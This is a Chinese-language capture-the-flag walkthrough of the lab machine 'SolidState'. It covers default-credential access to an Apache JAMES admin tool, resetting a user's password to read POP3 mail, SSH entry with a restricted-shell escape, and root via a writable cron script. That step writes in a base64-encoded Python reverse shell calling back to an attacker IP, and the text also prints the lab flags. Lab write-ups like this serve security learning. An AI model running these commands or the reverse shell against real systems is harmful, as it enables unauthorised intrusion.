[Meachines] [Medium] solidstate Apache JAMES RCE+POP3邮件泄露+定时任务权限提升
字数 971 2025-08-19 12:40:41

Apache JAMES RCE漏洞利用与权限提升教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.51 --min-rate 1000 -sC -sV

扫描结果:

  • 22/tcp: OpenSSH 7.4p1
  • 25/tcp: JAMES smtpd 2.3.2
  • 80/tcp: Apache httpd 2.4.25
  • 110/tcp: JAMES pop3d 2.3.2
  • 119/tcp: JAMES nntpd
  • 4555/tcp: JAMES Remote Administration Tool 2.3.2

1.2 服务识别

关键发现:

  • JAMES邮件服务器版本为2.3.2,存在已知漏洞
  • 4555端口运行JAMES远程管理工具

2. JAMES RCE漏洞利用

2.1 利用远程管理工具

  1. 连接到JAMES管理端口:
telnet 10.10.10.51 4555
  1. 使用默认凭据登录:
username: root
password: root
  1. 列出系统用户:
>listusers

输出显示存在以下用户:

  • james
  • etc/bash_completion.d
  • thomas
  • john
  • mindy
  • mailadmin

2.2 修改用户密码

修改mindy用户的密码:

>setpassword mindy 123

3. POP3邮件泄露

3.1 通过POP3访问邮件

  1. 连接到POP3服务:
telnet 10.10.10.51 110
  1. 使用修改后的凭据登录:
USER mindy
PASS 123
  1. 检索邮件:
RETR 2
  1. 从邮件中获取敏感信息:
username: mindy
password: P@55W0rd1!2@

4. 获取初始访问权限

4.1 通过SSH登录

使用获取的凭据登录:

ssh mindy@10.10.10.51

4.2 绕过受限shell

如果遇到受限shell,使用以下方法绕过:

ssh mindy@10.10.10.51 -t 'bash'

4.3 获取user flag

cat /home/mindy/user.txt

输出:cddc54e8618e72785b2d0387162f772b

5. 权限提升

5.1 发现定时任务

检查可疑文件:

ls -la /opt/tmp.py

5.2 利用定时任务

  1. 创建反向shell脚本:
echo 'aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMTAuMTYuMjQiLDEwMDMyKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCIvYmluL2Jhc2giKQo=' | base64 -d > /opt/tmp.py

解码后的Python脚本内容:

import os,pty,socket;s=socket.socket();s.connect(("10.10.16.24",10032));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")
  1. 等待定时任务执行,获取root权限

5.3 获取root flag

cat /root/root.txt

输出:2937292653a4a3a7b70ca523057708df

6. 漏洞总结

  1. JAMES默认凭据漏洞:远程管理工具使用默认凭据(root/root)
  2. POP3信息泄露:通过邮件获取更高权限的凭据
  3. 定时任务权限提升:利用可写的定时任务脚本获取root权限

7. 防御建议

  1. 更改所有默认凭据
  2. 限制远程管理端口的访问
  3. 定期更新JAMES邮件服务器
  4. 实施最小权限原则,限制定时任务的执行权限
  5. 监控敏感目录的写入操作
Apache JAMES RCE漏洞利用与权限提升教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 22/tcp : OpenSSH 7.4p1 25/tcp : JAMES smtpd 2.3.2 80/tcp : Apache httpd 2.4.25 110/tcp : JAMES pop3d 2.3.2 119/tcp : JAMES nntpd 4555/tcp : JAMES Remote Administration Tool 2.3.2 1.2 服务识别 关键发现: JAMES邮件服务器版本为2.3.2,存在已知漏洞 4555端口运行JAMES远程管理工具 2. JAMES RCE漏洞利用 2.1 利用远程管理工具 连接到JAMES管理端口: 使用默认凭据登录: 列出系统用户: 输出显示存在以下用户: james etc/bash_ completion.d thomas john mindy mailadmin 2.2 修改用户密码 修改mindy用户的密码: 3. POP3邮件泄露 3.1 通过POP3访问邮件 连接到POP3服务: 使用修改后的凭据登录: 检索邮件: 从邮件中获取敏感信息: 4. 获取初始访问权限 4.1 通过SSH登录 使用获取的凭据登录: 4.2 绕过受限shell 如果遇到受限shell,使用以下方法绕过: 4.3 获取user flag 输出: cddc54e8618e72785b2d0387162f772b 5. 权限提升 5.1 发现定时任务 检查可疑文件: 5.2 利用定时任务 创建反向shell脚本: 解码后的Python脚本内容: 等待定时任务执行,获取root权限 5.3 获取root flag 输出: 2937292653a4a3a7b70ca523057708df 6. 漏洞总结 JAMES默认凭据漏洞 :远程管理工具使用默认凭据(root/root) POP3信息泄露 :通过邮件获取更高权限的凭据 定时任务权限提升 :利用可写的定时任务脚本获取root权限 7. 防御建议 更改所有默认凭据 限制远程管理端口的访问 定期更新JAMES邮件服务器 实施最小权限原则,限制定时任务的执行权限 监控敏感目录的写入操作